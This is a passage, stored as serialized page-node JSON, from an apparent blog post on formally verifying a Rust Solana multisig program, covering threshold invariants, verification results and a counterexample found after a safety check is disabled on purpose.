{"type":24,"tag":930,"props":27492,"children":27493},{"style":1158},[27494],{"type":30,"value":18725},{"type":24,"tag":930,"props":27496,"children":27497},{"style":959},[27498],{"type":30,"value":27499}," (threshold ",{"type":24,"tag":930,"props":27501,"children":27502},{"style":1158},[27503],{"type":30,"value":4681},{"type":24,"tag":930,"props":27505,"children":27506},{"style":959},[27507],{"type":30,"value":27508}," 0)\n",{"type":24,"tag":930,"props":27510,"children":27511},{"class":932,"line":1057},[27512,27516,27520,27524,27528,27532,27536,27541,27545,27549,27553,27557],{"type":24,"tag":930,"props":27513,"children":27514},{"style":1158},[27515],{"type":30,"value":18725},{"type":24,"tag":930,"props":27517,"children":27518},{"style":959},[27519],{"type":30,"value":26100},{"type":24,"tag":930,"props":27521,"children":27522},{"style":1158},[27523],{"type":30,"value":436},{"type":24,"tag":930,"props":27525,"children":27526},{"style":959},[27527],{"type":30,"value":24123},{"type":24,"tag":930,"props":27529,"children":27530},{"style":1158},[27531],{"type":30,"value":22517},{"type":24,"tag":930,"props":27533,"children":27534},{"style":959},[27535],{"type":30,"value":1087},{"type":24,"tag":930,"props":27537,"children":27538},{"style":943},[27539],{"type":30,"value":27540},"u16",{"type":24,"tag":930,"props":27542,"children":27543},{"style":1158},[27544],{"type":30,"value":6597},{"type":24,"tag":930,"props":27546,"children":27547},{"style":943},[27548],{"type":30,"value":24141},{"type":24,"tag":930,"props":27550,"children":27551},{"style":937},[27552],{"type":30,"value":11937},{"type":24,"tag":930,"props":27554,"children":27555},{"style":943},[27556],{"type":30,"value":16838},{"type":24,"tag":930,"props":27558,"children":27559},{"style":959},[27560],{"type":30,"value":22815},{"type":24,"tag":930,"props":27562,"children":27563},{"class":932,"line":1066},[27564],{"type":24,"tag":930,"props":27565,"children":27566},{"style":959},[27567],{"type":30,"value":23362},{"type":24,"tag":930,"props":27569,"children":27570},{"class":932,"line":1075},[27571,27575,27579,27583,27587,27591,27595,27599],{"type":24,"tag":930,"props":27572,"children":27573},{"style":937},[27574],{"type":30,"value":16797},{"type":24,"tag":930,"props":27576,"children":27577},{"style":937},[27578],{"type":30,"value":16802},{"type":24,"tag":930,"props":27580,"children":27581},{"style":1002},[27582],{"type":30,"value":10224},{"type":24,"tag":930,"props":27584,"children":27585},{"style":959},[27586],{"type":30,"value":1010},{"type":24,"tag":930,"props":27588,"children":27589},{"style":1158},[27590],{"type":30,"value":12699},{"type":24,"tag":930,"props":27592,"children":27593},{"style":959},[27594],{"type":30,"value":27080},{"type":24,"tag":930,"props":27596,"children":27597},{"style":1158},[27598],{"type":30,"value":12699},{"type":24,"tag":930,"props":27600,"children":27601},{"style":959},[27602],{"type":30,"value":12704},{"type":24,"tag":33,"props":27604,"children":27605},{},[27606],{"type":30,"value":27607},"And now we get:",{"type":24,"tag":920,"props":27609,"children":27611},{"code":27610},"VERIFICATION:- SUCCESSFUL\nVerification Time: 6.6634517s\n",[27612],{"type":24,"tag":156,"props":27613,"children":27614},{"__ignoreMap":7},[27615],{"type":30,"value":27610},{"type":24,"tag":33,"props":27617,"children":27618},{},[27619],{"type":30,"value":27620},"🥳🥳🥳",{"type":24,"tag":33,"props":27622,"children":27623},{},[27624],{"type":30,"value":27625},"The attentive reader may have noticed that we didn't need to verify this condition:",{"type":24,"tag":920,"props":27627,"children":27629},{"code":27628,"language":6101,"meta":7,"className":6102,"style":7},"if total_members \u003C 1 {\n    return err!(MsError::EmptyMembers);\n}\n",[27630],{"type":24,"tag":156,"props":27631,"children":27632},{"__ignoreMap":7},[27633,27656,27687],{"type":24,"tag":930,"props":27634,"children":27635},{"class":932,"line":933},[27636,27640,27644,27648,27652],{"type":24,"tag":930,"props":27637,"children":27638},{"style":1079},[27639],{"type":30,"value":18683},{"type":24,"tag":930,"props":27641,"children":27642},{"style":1023},[27643],{"type":30,"value":26565},{"type":24,"tag":930,"props":27645,"children":27646},{"style":1158},[27647],{"type":30,"value":11828},{"type":24,"tag":930,"props":27649,"children":27650},{"style":1242},[27651],{"type":30,"value":7637},{"type":24,"tag":930,"props":27653,"children":27654},{"style":959},[27655],{"type":30,"value":981},{"type":24,"tag":930,"props":27657,"children":27658},{"class":932,"line":984},[27659,27663,27667,27671,27675,27679,27683],{"type":24,"tag":930,"props":27660,"children":27661},{"style":1079},[27662],{"type":30,"value":20090},{"type":24,"tag":930,"props":27664,"children":27665},{"style":1002},[27666],{"type":30,"value":26620},{"type":24,"tag":930,"props":27668,"children":27669},{"style":959},[27670],{"type":30,"value":1010},{"type":24,"tag":930,"props":27672,"children":27673},{"style":943},[27674],{"type":30,"value":26629},{"type":24,"tag":930,"props":27676,"children":27677},{"style":1158},[27678],{"type":30,"value":6597},{"type":24,"tag":930,"props":27680,"children":27681},{"style":943},[27682],{"type":30,"value":26638},{"type":24,"tag":930,"props":27684,"children":27685},{"style":959},[27686],{"type":30,"value":1278},{"type":24,"tag":930,"props":27688,"children":27689},{"class":932,"line":993},[27690],{"type":24,"tag":930,"props":27691,"children":27692},{"style":959},[27693],{"type":30,"value":2528},{"type":24,"tag":33,"props":27695,"children":27696},{},[27697,27699,27705,27707,27712,27714,27719,27721,27726],{"type":30,"value":27698},"In this case this is actually redundant because if ",{"type":24,"tag":156,"props":27700,"children":27702},{"className":27701},[],[27703],{"type":30,"value":27704},"members.len() == 0",{"type":30,"value":27706}," then our threshold would also have to be ",{"type":24,"tag":156,"props":27708,"children":27710},{"className":27709},[],[27711],{"type":30,"value":1818},{"type":30,"value":27713}," (and our ",{"type":24,"tag":156,"props":27715,"children":27717},{"className":27716},[],[27718],{"type":30,"value":25851},{"type":30,"value":27720}," is not allowed to be ",{"type":24,"tag":156,"props":27722,"children":27724},{"className":27723},[],[27725],{"type":30,"value":1818},{"type":30,"value":27727},"). The solver realizes that this situation is impossible and therefore the expression we have above is sufficient!",{"type":24,"tag":151,"props":27729,"children":27731},{"id":27730},"_2-verify-threshold-requirements",[27732],{"type":30,"value":27733},"2. Verify threshold requirements",{"type":24,"tag":33,"props":27735,"children":27736},{},[27737],{"type":30,"value":27738},"A critical security property for multisigs is that the threshold should never be zero (which would let anyone issue transactions) and the threshold should never be greater than the number of members (which would let nobody issue transactions).",{"type":24,"tag":33,"props":27740,"children":27741},{},[27742,27744,27748],{"type":30,"value":27743},"Unlike the previous example, we want to verify this in ",{"type":24,"tag":6032,"props":27745,"children":27746},{},[27747],{"type":30,"value":12408},{"type":30,"value":27749}," cases. I.e. any instruction that could mutate the multisig account.",{"type":24,"tag":33,"props":27751,"children":27752},{},[27753,27755,27759,27761,27766],{"type":30,"value":27754},"In this case, we want to model this as an ",{"type":24,"tag":6032,"props":27756,"children":27757},{},[27758],{"type":30,"value":24879},{"type":30,"value":27760}," on the ",{"type":24,"tag":156,"props":27762,"children":27764},{"className":27763},[],[27765],{"type":30,"value":25843},{"type":30,"value":27767}," account struct:",{"type":24,"tag":920,"props":27769,"children":27771},{"code":27770,"language":6101,"meta":7,"className":6102,"style":7},"#[account]\n#[derive(Clone, Debug)]\n#[invariant(\n    (self.threshold >= 1)\n    && (self.threshold as usize \u003C= self.keys.len())\n)]\npub struct Ms {\n    pub threshold: u16,               // threshold for signatures\n    pub authority_index: u16,         // index to seed other authorities under this multisig\n    pub transaction_index: u32,       // look up and seed reference for transactions\n    pub ms_change_index: u32,         // the last executed/closed transaction\n    pub bump: u8,                     // bump for the multisig seed\n    pub create_key: Pubkey,           // random key(or not) used to seed the multisig pda\n    pub allow_external_execute: bool, // allow non-member keys to execute txs\n    pub keys: Vec\u003CPubkey>,            // keys of the members\n}\n",[27772],{"type":24,"tag":156,"props":27773,"children":27774},{"__ignoreMap":7},[27775,27782,27807,27814,27838,27889,27896,27915,27942,27969,27996,28023,28050,28077,28104,28139],{"type":24,"tag":930,"props":27776,"children":27777},{"class":932,"line":933},[27778],{"type":24,"tag":930,"props":27779,"children":27780},{"style":959},[27781],{"type":30,"value":23872},{"type":24,"tag":930,"props":27783,"children":27784},{"class":932,"line":984},[27785,27789,27794,27798,27803],{"type":24,"tag":930,"props":27786,"children":27787},{"style":959},[27788],{"type":30,"value":25939},{"type":24,"tag":930,"props":27790,"children":27791},{"style":943},[27792],{"type":30,"value":27793},"Clone",{"type":24,"tag":930,"props":27795,"children":27796},{"style":959},[27797],{"type":30,"value":962},{"type":24,"tag":930,"props":27799,"children":27800},{"style":943},[27801],{"type":30,"value":27802},"Debug",{"type":24,"tag":930,"props":27804,"children":27805},{"style":959},[27806],{"type":30,"value":23362},{"type":24,"tag":930,"props":27808,"children":27809},{"class":932,"line":993},[27810],{"type":24,"tag":930,"props":27811,"children":27812},{"style":959},[27813],{"type":30,"value":23880},{"type":24,"tag":930,"props":27815,"children":27816},{"class":932,"line":1057},[27817,27822,27826,27830,27834],{"type":24,"tag":930,"props":27818,"children":27819},{"style":959},[27820],{"type":30,"value":27821},"    (self",{"type":24,"tag":930,"props":27823,"children":27824},{"style":1158},[27825],{"type":30,"value":436},{"type":24,"tag":930,"props":27827,"children":27828},{"style":959},[27829],{"type":30,"value":24173},{"type":24,"tag":930,"props":27831,"children":27832},{"style":1158},[27833],{"type":30,"value":13051},{"type":24,"tag":930,"props":27835,"children":27836},{"style":959},[27837],{"type":30,"value":24182},{"type":24,"tag":930,"props":27839,"children":27840},{"class":932,"line":1066},[27841,27845,27849,27853,27857,27861,27865,27869,27873,27877,27881,27885],{"type":24,"tag":930,"props":27842,"children":27843},{"style":1158},[27844],{"type":30,"value":18725},{"type":24,"tag":930,"props":27846,"children":27847},{"style":959},[27848],{"type":30,"value":24106},{"type":24,"tag":930,"props":27850,"children":27851},{"style":1158},[27852],{"type":30,"value":436},{"type":24,"tag":930,"props":27854,"children":27855},{"style":959},[27856],{"type":30,"value":24173},{"type":24,"tag":930,"props":27858,"children":27859},{"style":937},[27860],{"type":30,"value":11951},{"type":24,"tag":930,"props":27862,"children":27863},{"style":943},[27864],{"type":30,"value":16838},{"type":24,"tag":930,"props":27866,"children":27867},{"style":1158},[27868],{"type":30,"value":11306},{"type":24,"tag":930,"props":27870,"children":27871},{"style":959},[27872],{"type":30,"value":16904},{"type":24,"tag":930,"props":27874,"children":27875},{"style":1158},[27876],{"type":30,"value":436},{"type":24,"tag":930,"props":27878,"children":27879},{"style":959},[27880],{"type":30,"value":24085},{"type":24,"tag":930,"props":27882,"children":27883},{"style":1158},[27884],{"type":30,"value":436},{"type":24,"tag":930,"props":27886,"children":27887},{"style":959},[27888],{"type":30,"value":24234},{"type":24,"tag":930,"props":27890,"children":27891},{"class":932,"line":1075},[27892],{"type":24,"tag":930,"props":27893,"children":27894},{"style":959},[27895],{"type":30,"value":23362},{"type":24,"tag":930,"props":27897,"children":27898},{"class":932,"line":1122},[27899,27903,27907,27911],{"type":24,"tag":930,"props":27900,"children":27901},{"style":937},[27902],{"type":30,"value":16797},{"type":24,"tag":930,"props":27904,"children":27905},{"style":937},[27906],{"type":30,"value":24253},{"type":24,"tag":930,"props":27908,"children":27909},{"style":943},[27910],{"type":30,"value":24258},{"type":24,"tag":930,"props":27912,"children":27913},{"style":959},[27914],{"type":30,"value":981},{"type":24,"tag":930,"props":27916,"children":27917},{"class":932,"line":1131},[27918,27922,27926,27930,27934,27938],{"type":24,"tag":930,"props":27919,"children":27920},{"style":937},[27921],{"type":30,"value":23945},{"type":24,"tag":930,"props":27923,"children":27924},{"style":1023},[27925],{"type":30,"value":24274},{"type":24,"tag":930,"props":27927,"children":27928},{"style":1158},[27929],{"type":30,"value":476},{"type":24,"tag":930,"props":27931,"children":27932},{"style":943},[27933],{"type":30,"value":24132},{"type":24,"tag":930,"props":27935,"children":27936},{"style":959},[27937],{"type":30,"value":24287},{"type":24,"tag":930,"props":27939,"children":27940},{"style":1422},[27941],{"type":30,"value":24292},{"type":24,"tag":930,"props":27943,"children":27944},{"class":932,"line":1144},[27945,27949,27953,27957,27961,27965],{"type":24,"tag":930,"props":27946,"children":27947},{"style":937},[27948],{"type":30,"value":23945},{"type":24,"tag":930,"props":27950,"children":27951},{"style":1023},[27952],{"type":30,"value":24304},{"type":24,"tag":930,"props":27954,"children":27955},{"style":1158},[27956],{"type":30,"value":476},{"type":24,"tag":930,"props":27958,"children":27959},{"style":943},[27960],{"type":30,"value":24132},{"type":24,"tag":930,"props":27962,"children":27963},{"style":959},[27964],{"type":30,"value":24317},{"type":24,"tag":930,"props":27966,"children":27967},{"style":1422},[27968],{"type":30,"value":24322},{"type":24,"tag":930,"props":27970,"children":27971},{"class":932,"line":1169},[27972,27976,27980,27984,27988,27992],{"type":24,"tag":930,"props":27973,"children":27974},{"style":937},[27975],{"type":30,"value":23945},{"type":24,"tag":930,"props":27977,"children":27978},{"style":1023},[27979],{"type":30,"value":24334},{"type":24,"tag":930,"props":27981,"children":27982},{"style":1158},[27983],{"type":30,"value":476},{"type":24,"tag":930,"props":27985,"children":27986},{"style":943},[27987],{"type":30,"value":20651},{"type":24,"tag":930,"props":27989,"children":27990},{"style":959},[27991],{"type":30,"value":24347},{"type":24,"tag":930,"props":27993,"children":27994},{"style":1422},[27995],{"type":30,"value":24352},{"type":24,"tag":930,"props":27997,"children":27998},{"class":932,"line":1191},[27999,28003,28007,28011,28015,28019],{"type":24,"tag":930,"props":28000,"children":28001},{"style":937},[28002],{"type":30,"value":23945},{"type":24,"tag":930,"props":28004,"children":28005},{"style":1023},[28006],{"type":30,"value":24364},{"type":24,"tag":930,"props":28008,"children":28009},{"style":1158},[28010],{"type":30,"value":476},{"type":24,"tag":930,"props":28012,"children":28013},{"style":943},[28014],{"type":30,"value":20651},{"type":24,"tag":930,"props":28016,"children":28017},{"style":959},[28018],{"type":30,"value":24317},{"type":24,"tag":930,"props":28020,"children":28021},{"style":1422},[28022],{"type":30,"value":24381},{"type":24,"tag":930,"props":28024,"children":28025},{"class":932,"line":1223},[28026,28030,28034,28038,28042,28046],{"type":24,"tag":930,"props":28027,"children":28028},{"style":937},[28029],{"type":30,"value":23945},{"type":24,"tag":930,"props":28031,"children":28032},{"style":1023},[28033],{"type":30,"value":24393},{"type":24,"tag":930,"props":28035,"children":28036},{"style":1158},[28037],{"type":30,"value":476},{"type":24,"tag":930,"props":28039,"children":28040},{"style":943},[28041],{"type":30,"value":17740},{"type":24,"tag":930,"props":28043,"children":28044},{"style":959},[28045],{"type":30,"value":24406},{"type":24,"tag":930,"props":28047,"children":28048},{"style":1422},[28049],{"type":30,"value":24411},{"type":24,"tag":930,"props":28051,"children":28052},{"class":932,"line":1281},[28053,28057,28061,28065,28069,28073],{"type":24,"tag":930,"props":28054,"children":28055},{"style":937},[28056],{"type":30,"value":23945},{"type":24,"tag":930,"props":28058,"children":28059},{"style":1023},[28060],{"type":30,"value":24423},{"type":24,"tag":930,"props":28062,"children":28063},{"style":1158},[28064],{"type":30,"value":476},{"type":24,"tag":930,"props":28066,"children":28067},{"style":943},[28068],{"type":30,"value":23959},{"type":24,"tag":930,"props":28070,"children":28071},{"style":959},[28072],{"type":30,"value":24436},{"type":24,"tag":930,"props":28074,"children":28075},{"style":1422},[28076],{"type":30,"value":24441},{"type":24,"tag":930,"props":28078,"children":28079},{"class":932,"line":1313},[28080,28084,28088,28092,28096,28100],{"type":24,"tag":930,"props":28081,"children":28082},{"style":937},[28083],{"type":30,"value":23945},{"type":24,"tag":930,"props":28085,"children":28086},{"style":1023},[28087],{"type":30,"value":24453},{"type":24,"tag":930,"props":28089,"children":28090},{"style":1158},[28091],{"type":30,"value":476},{"type":24,"tag":930,"props":28093,"children":28094},{"style":943},[28095],{"type":30,"value":15157},{"type":24,"tag":930,"props":28097,"children":28098},{"style":959},[28099],{"type":30,"value":962},{"type":24,"tag":930,"props":28101,"children":28102},{"style":1422},[28103],{"type":30,"value":24470},{"type":24,"tag":930,"props":28105,"children":28106},{"class":932,"line":1335},[28107,28111,28115,28119,28123,28127,28131,28135],{"type":24,"tag":930,"props":28108,"children":28109},{"style":937},[28110],{"type":30,"value":23945},{"type":24,"tag":930,"props":28112,"children":28113},{"style":1023},[28114],{"type":30,"value":24482},{"type":24,"tag":930,"props":28116,"children":28117},{"style":1158},[28118],{"type":30,"value":476},{"type":24,"tag":930,"props":28120,"children":28121},{"style":943},[28122],{"type":30,"value":24491},{"type":24,"tag":930,"props":28124,"children":28125},{"style":959},[28126],{"type":30,"value":1350},{"type":24,"tag":930,"props":28128,"children":28129},{"style":943},[28130],{"type":30,"value":24500},{"type":24,"tag":930,"props":28132,"children":28133},{"style":959},[28134],{"type":30,"value":24505},{"type":24,"tag":930,"props":28136,"children":28137},{"style":1422},[28138],{"type":30,"value":24510},{"type":24,"tag":930,"props":28140,"children":28141},{"class":932,"line":1376},[28142],{"type":24,"tag":930,"props":28143,"children":28144},{"style":959},[28145],{"type":30,"value":2528},{"type":24,"tag":33,"props":28147,"children":28148},{},[28149,28151,28156],{"type":30,"value":28150},"Our verification framework will generate an invariant harness for each instruction. Instructions that can potentially modify the ",{"type":24,"tag":156,"props":28152,"children":28154},{"className":28153},[],[28155],{"type":30,"value":25843},{"type":30,"value":28157}," object will be checked to ensure that the invariant still holds after modification.",{"type":24,"tag":33,"props":28159,"children":28160},{},[28161,28163,28168],{"type":30,"value":28162},"Let's try this on the ",{"type":24,"tag":156,"props":28164,"children":28166},{"className":28165},[],[28167],{"type":30,"value":25922},{"type":30,"value":28169}," instruction that we've already seen:",{"type":24,"tag":920,"props":28171,"children":28173},{"code":28172},"VERIFICATION:- SUCCESSFUL\nVerification Time: 6.8006988s\n",[28174],{"type":24,"tag":156,"props":28175,"children":28176},{"__ignoreMap":7},[28177],{"type":30,"value":28172},{"type":24,"tag":33,"props":28179,"children":28180},{},[28181,28183,28188],{"type":30,"value":28182},"To ensure this is working, we can test by commenting out this check from ",{"type":24,"tag":156,"props":28184,"children":28186},{"className":28185},[],[28187],{"type":30,"value":25922},{"type":30,"value":476},{"type":24,"tag":920,"props":28190,"children":28192},{"code":28191,"language":6101,"meta":7,"className":6102,"style":7},"// if usize::from(threshold) \u003C 1 || usize::from(threshold) > total_members {\n//     return err!(MsError::InvalidThreshold);\n// }\n",[28193],{"type":24,"tag":156,"props":28194,"children":28195},{"__ignoreMap":7},[28196,28204,28212],{"type":24,"tag":930,"props":28197,"children":28198},{"class":932,"line":933},[28199],{"type":24,"tag":930,"props":28200,"children":28201},{"style":1422},[28202],{"type":30,"value":28203},"// if usize::from(threshold) \u003C 1 || usize::from(threshold) > total_members {\n",{"type":24,"tag":930,"props":28205,"children":28206},{"class":932,"line":984},[28207],{"type":24,"tag":930,"props":28208,"children":28209},{"style":1422},[28210],{"type":30,"value":28211},"//     return err!(MsError::InvalidThreshold);\n",{"type":24,"tag":930,"props":28213,"children":28214},{"class":932,"line":993},[28215],{"type":24,"tag":930,"props":28216,"children":28217},{"style":1422},[28218],{"type":30,"value":28219},"// }\n",{"type":24,"tag":33,"props":28221,"children":28222},{},[28223],{"type":30,"value":28224},"And run again:",{"type":24,"tag":920,"props":28226,"children":28228},{"code":28227},"VERIFICATION:- FAILED\nVerification Time: 8.245743s\n",[28229],{"type":24,"tag":156,"props":28230,"children":28231},{"__ignoreMap":7},[28232],{"type":30,"value":28227},{"type":24,"tag":33,"props":28234,"children":28235},{},[28236],{"type":30,"value":28237},"We get the following counterexample:",{"type":24,"tag":920,"props":28239,"children":28241},{"code":28240,"language":6101,"meta":7,"className":6102,"style":7},"Account {\n    account: Ms {\n        threshold: 32768,\n        authority_index: 1,\n        transaction_index: 0,\n        ms_change_index: 0,\n        bump: 0,\n        create_key: ...,\n        allow_external_execute: false,\n        keys: SparseVec {\n            size: 5112,\n        },\n    },\n    info: AccountInfo { ... },\n}\n",[28242],{"type":24,"tag":156,"props":28243,"children":28244},{"__ignoreMap":7},[28245,28256,28276,28296,28316,28336,28356,28376,28396,28416,28437,28458,28466,28474,28504],{"type":24,"tag":930,"props":28246,"children":28247},{"class":932,"line":933},[28248,28252],{"type":24,"tag":930,"props":28249,"children":28250},{"style":943},[28251],{"type":30,"value":20247},{"type":24,"tag":930,"props":28253,"children":28254},{"style":959},[28255],{"type":30,"value":981},{"type":24,"tag":930,"props":28257,"children":28258},{"class":932,"line":984},[28259,28264,28268,28272],{"type":24,"tag":930,"props":28260,"children":28261},{"style":1023},[28262],{"type":30,"value":28263},"    account",{"type":24,"tag":930,"props":28265,"children":28266},{"style":1158},[28267],{"type":30,"value":476},{"type":24,"tag":930,"props":28269,"children":28270},{"style":943},[28271],{"type":30,"value":24258},{"type":24,"tag":930,"props":28273,"children":28274},{"style":959},[28275],{"type":30,"value":981},{"type":24,"tag":930,"props":28277,"children":28278},{"class":932,"line":993},[28279,28283,28287,28292],{"type":24,"tag":930,"props":28280,"children":28281},{"style":1023},[28282],{"type":30,"value":26923},{"type":24,"tag":930,"props":28284,"children":28285},{"style":1158},[28286],{"type":30,"value":476},{"type":24,"tag":930,"props":28288,"children":28289},{"style":1242},[28290],{"type":30,"value":28291}," 32768",{"type":24,"tag":930,"props":28293,"children":28294},{"style":959},[28295],{"type":30,"value":2832},{"type":24,"tag":930,"props":28297,"children":28298},{"class":932,"line":1057},[28299,28304,28308,28312],{"type":24,"tag":930,"props":28300,"children":28301},{"style":1023},[28302],{"type":30,"value":28303},"        authority_index",{"type":24,"tag":930,"props":28305,"children":28306},{"style":1158},[28307],{"type":30,"value":476},{"type":24,"tag":930,"props":28309,"children":28310},{"style":1242},[28311],{"type":30,"value":7637},{"type":24,"tag":930,"props":28313,"children":28314},{"style":959},[28315],{"type":30,"value":2832},{"type":24,"tag":930,"props":28317,"children":28318},{"class":932,"line":1066},[28319,28324,28328,28332],{"type":24,"tag":930,"props":28320,"children":28321},{"style":1023},[28322],{"type":30,"value":28323},"        transaction_index",{"type":24,"tag":930,"props":28325,"children":28326},{"style":1158},[28327],{"type":30,"value":476},{"type":24,"tag":930,"props":28329,"children":28330},{"style":1242},[28331],{"type":30,"value":1245},{"type":24,"tag":930,"props":28333,"children":28334},{"style":959},[28335],{"type":30,"value":2832},{"type":24,"tag":930,"props":28337,"children":28338},{"class":932,"line":1075},[28339,28344,28348,28352],{"type":24,"tag":930,"props":28340,"children":28341},{"style":1023},[28342],{"type":30,"value":28343},"        ms_change_index",{"type":24,"tag":930,"props":28345,"children":28346},{"style":1158},[28347],{"type":30,"value":476},{"type":24,"tag":930,"props":28349,"children":28350},{"style":1242},[28351],{"type":30,"value":1245},{"type":24,"tag":930,"props":28353,"children":28354},{"style":959},[28355],{"type":30,"value":2832},{"type":24,"tag":930,"props":28357,"children":28358},{"class":932,"line":1122},[28359,28364,28368,28372],{"type":24,"tag":930,"props":28360,"children":28361},{"style":1023},[28362],{"type":30,"value":28363},"        bump",{"type":24,"tag":930,"props":28365,"children":28366},{"style":1158},[28367],{"type":30,"value":476},{"type":24,"tag":930,"props":28369,"children":28370},{"style":1242},[28371],{"type":30,"value":1245},{"type":24,"tag":930,"props":28373,"children":28374},{"style":959},[28375],{"type":30,"value":2832},{"type":24,"tag":930,"props":28377,"children":28378},{"class":932,"line":1131},[28379,28383,28387,28392],{"type":24,"tag":930,"props":28380,"children":28381},{"style":1023},[28382],{"type":30,"value":26935},{"type":24,"tag":930,"props":28384,"children":28385},{"style":1158},[28386],{"type":30,"value":476},{"type":24,"tag":930,"props":28388,"children":28389},{"style":1158},[28390],{"type":30,"value":28391}," ...",{"type":24,"tag":930,"props":28393,"children":28394},{"style":959},[28395],{"type":30,"value":2832},{"type":24,"tag":930,"props":28397,"children":28398},{"class":932,"line":1144},[28399,28404,28408,28412],{"type":24,"tag":930,"props":28400,"children":28401},{"style":1023},[28402],{"type":30,"value":28403},"        allow_external_execute",{"type":24,"tag":930,"props":28405,"children":28406},{"style":1158},[28407],{"type":30,"value":476},{"type":24,"tag":930,"props":28409,"children":28410},{"style":937},[28411],{"type":30,"value":12167},{"type":24,"tag":930,"props":28413,"children":28414},{"style":959},[28415],{"type":30,"value":2832},{"type":24,"tag":930,"props":28417,"children":28418},{"class":932,"line":1169},[28419,28424,28428,28433],{"type":24,"tag":930,"props":28420,"children":28421},{"style":1023},[28422],{"type":30,"value":28423},"        keys",{"type":24,"tag":930,"props":28425,"children":28426},{"style":1158},[28427],{"type":30,"value":476},{"type":24,"tag":930,"props":28429,"children":28430},{"style":943},[28431],{"type":30,"value":28432}," SparseVec",{"type":24,"tag":930,"props":28434,"children":28435},{"style":959},[28436],{"type":30,"value":981},{"type":24,"tag":930,"props":28438,"children":28439},{"class":932,"line":1191},[28440,28445,28449,28454],{"type":24,"tag":930,"props":28441,"children":28442},{"style":1023},[28443],{"type":30,"value":28444},"            size",{"type":24,"tag":930,"props":28446,"children":28447},{"style":1158},[28448],{"type":30,"value":476},{"type":24,"tag":930,"props":28450,"children":28451},{"style":1242},[28452],{"type":30,"value":28453}," 5112",{"type":24,"tag":930,"props":28455,"children":28456},{"style":959},[28457],{"type":30,"value":2832},{"type":24,"tag":930,"props":28459,"children":28460},{"class":932,"line":1223},[28461],{"type":24,"tag":930,"props":28462,"children":28463},{"style":959},[28464],{"type":30,"value":28465},"        },\n",{"type":24,"tag":930,"props":28467,"children":28468},{"class":932,"line":1281},[28469],{"type":24,"tag":930,"props":28470,"children":28471},{"style":959},[28472],{"type":30,"value":28473},"    },\n",{"type":24,"tag":930,"props":28475,"children":28476},{"class":932,"line":1313},[28477,28482,28486,28491,28495,28499],{"type":24,"tag":930,"props":28478,"children":28479},{"style":1023},[28480],{"type":30,"value":28481},"    info",{"type":24,"tag":930,"props":28483,"children":28484},{"style":1158},[28485],{"type":30,"value":476},{"type":24,"tag":930,"props":28487,"children":28488},{"style":943},[28489],{"type":30,"value":28490}," AccountInfo",{"type":24,"tag":930,"props":28492,"children":28493},{"style":959},[28494],{"type":30,"value":12694},{"type":24,"tag":930,"props":28496,"children":28497},{"style":1158},[28498],{"type":30,"value":12699},{"type":24,"tag":930,"props":28500,"children":28501},{"style":959},[28502],{"type":30,"value":28503}," },\n",{"type":24,"tag":930,"props":28505,"children":28506},{"class":932,"line":1335},[28507],{"type":24,"tag":930,"props":28508,"children":28509},{"style":959},[28510],{"type":30,"value":2528},{"type":24,"tag":33,"props":28512,"children":28513},{},[28514,28516,28521,28523,28528],{"type":30,"value":28515},"Here we see that the ",{"type":24,"tag":156,"props":28517,"children":28519},{"className":28518},[],[28520],{"type":30,"value":25851},{"type":30,"value":28522}," of the newly created ",{"type":24,"tag":156,"props":28524,"children":28526},{"className":28525},[],[28527],{"type":30,"value":25843},{"type":30,"value":28529}," account is larger than the number of keys (5112) which breaks our struct invariant.",{"type":24,"tag":151,"props":28531,"children":28533},{"id":28532},"verify-requirements-to-remove-a-member",[28534],{"type":30,"value":25881},{"type":24,"tag":33,"props":28536,"children":28537},{},[28538,28540,28545,28546,28551,28553,28559],{"type":30,"value":28539},"Now that we've seen both ",{"type":24,"tag":156,"props":28541,"children":28543},{"className":28542},[],[28544],{"type":30,"value":23258},{"type":30,"value":211},{"type":24,"tag":156,"props":28547,"children":28549},{"className":28548},[],[28550],{"type":30,"value":24879},{"type":30,"value":28552}," let's take a look at the ",{"type":24,"tag":156,"props":28554,"children":28556},{"className":28555},[],[28557],{"type":30,"value":28558},"remove_member",{"type":30,"value":28560}," function:",{"type":24,"tag":920,"props":28562,"children":28564},{"code":28563,"language":6101,"meta":7,"className":6102,"style":7},"#[derive(Accounts, Debug)]\npub struct MsAuth\u003C'info> {\n    #[account(mut)]\n    multisig: Box\u003CAccount\u003C'info, Ms>>,\n    #[account(\n        mut,\n        seeds = [\n            b\"squad\",\n            multisig.create_key.as_ref(),\n            b\"multisig\"\n        ], bump = multisig.bump\n    )]\n    pub multisig_auth: Signer\u003C'info>,\n}\n\npub fn remove_member(ctx: Context\u003CMsAuth>, old_member: Pubkey) -> Result\u003C()> {\n    // if there is only one key in this multisig, reject the removal\n    if ctx.accounts.multisig.keys.len() == 1 {\n        return err!(MsError::CannotRemoveSoloMember);\n    }\n    ctx.accounts.multisig.remove_member(old_member)?;\n\n    // if the number of keys is now less than the threshold, adjust it\n    if ctx.accounts.multisig.keys.len() \u003C usize::from(ctx.accounts.multisig.threshold) {\n        let new_threshold: u16 = ctx.accounts.multisig.keys.len().try_into().unwrap();\n        ctx.accounts.multisig.change_threshold(new_threshold)?;\n    }\n    let new_index = ctx.accounts.multisig.transaction_index;\n    ctx.accounts.multisig.set_change_index(new_index)\n}\n",[28565],{"type":24,"tag":156,"props":28566,"children":28567},{"__ignoreMap":7},[28568,28591,28619,28634,28679,28686,28698,28714,28726,28752,28760,28789,28796,28828,28835,28842,28916,28924,28984,29016,29023,29074,29081,29089,29182,29271,29325,29332,29377,29422],{"type":24,"tag":930,"props":28569,"children":28570},{"class":932,"line":933},[28571,28575,28579,28583,28587],{"type":24,"tag":930,"props":28572,"children":28573},{"style":959},[28574],{"type":30,"value":25939},{"type":24,"tag":930,"props":28576,"children":28577},{"style":943},[28578],{"type":30,"value":25944},{"type":24,"tag":930,"props":28580,"children":28581},{"style":959},[28582],{"type":30,"value":962},{"type":24,"tag":930,"props":28584,"children":28585},{"style":943},[28586],{"type":30,"value":27802},{"type":24,"tag":930,"props":28588,"children":28589},{"style":959},[28590],{"type":30,"value":23362},{"type":24,"tag":930,"props":28592,"children":28593},{"class":932,"line":984},[28594,28598,28602,28607,28611,28615],{"type":24,"tag":930,"props":28595,"children":28596},{"style":937},[28597],{"type":30,"value":16797},{"type":24,"tag":930,"props":28599,"children":28600},{"style":937},[28601],{"type":30,"value":24253},{"type":24,"tag":930,"props":28603,"children":28604},{"style":943},[28605],{"type":30,"value":28606}," 